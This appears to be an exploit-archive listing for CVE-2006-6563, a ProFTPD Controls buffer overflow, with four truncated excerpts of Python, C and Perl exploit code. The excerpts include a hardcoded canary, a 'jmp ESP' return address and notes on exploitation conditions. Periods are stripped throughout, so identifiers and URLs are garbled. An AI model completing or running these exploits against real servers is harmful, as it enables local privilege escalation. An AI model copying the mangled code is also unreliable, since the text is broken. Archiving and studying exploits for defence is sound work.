CVE-2006-6563

# Core Security Technologies - Corelabs Advisory # ProFTPD Controls buffer overflow import socket import os, ospath,stat #This works with default proftpd 130a compiled with gcc 412 (ubuntu edgy) # ctrlSocket = "/tmp/ctrlssock" mySocket = "/tmp/notusedsock" canary = "\0\0\x0a\xff" trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso shel ...

/* * This is simple local exploit (Proof of Concept?) for local bug in ProFTPd * not in default options (must be configured with option --enable-ctrls) * Bug exist in func tion pr_ctrls_connect() in file "src/ctrlsc", look: * * "src/ctrlsc" * int pr_ctrls_connect(const char *socket_file) { * * struct sockaddr_un cl_sock, ctrl_soc ...

#!/usr/bin/perl -w # # $Id: revenge_proftpd_ctrls_24pl, v10 2007/02/18 19:24:22 revenge Exp $ # # ProFTPD v130/130a Controls Buffer Overflow Exploit # [Old style school sploit against gcc 3x and linux kernel 24] # # Original Advisory : # wwwcoresecuritycom/?action=item&id=1594 # # [ Exploitation condition ] # - prof ...

#!/usr/bin/perl -w # # $Id: revenge_proftpd_ctrls_26pl, v11 2007/02/18 19:30:25 revenge Exp $ # # ProFTPD v130/130a Controls Buffer Overflow Exploit # # Original Advisory : # wwwcoresecuritycom/?action=item&id=1594 # # [ Exploitation condition ] # - proftpd must be compiled with --enable-ctrls option # - local user ne ...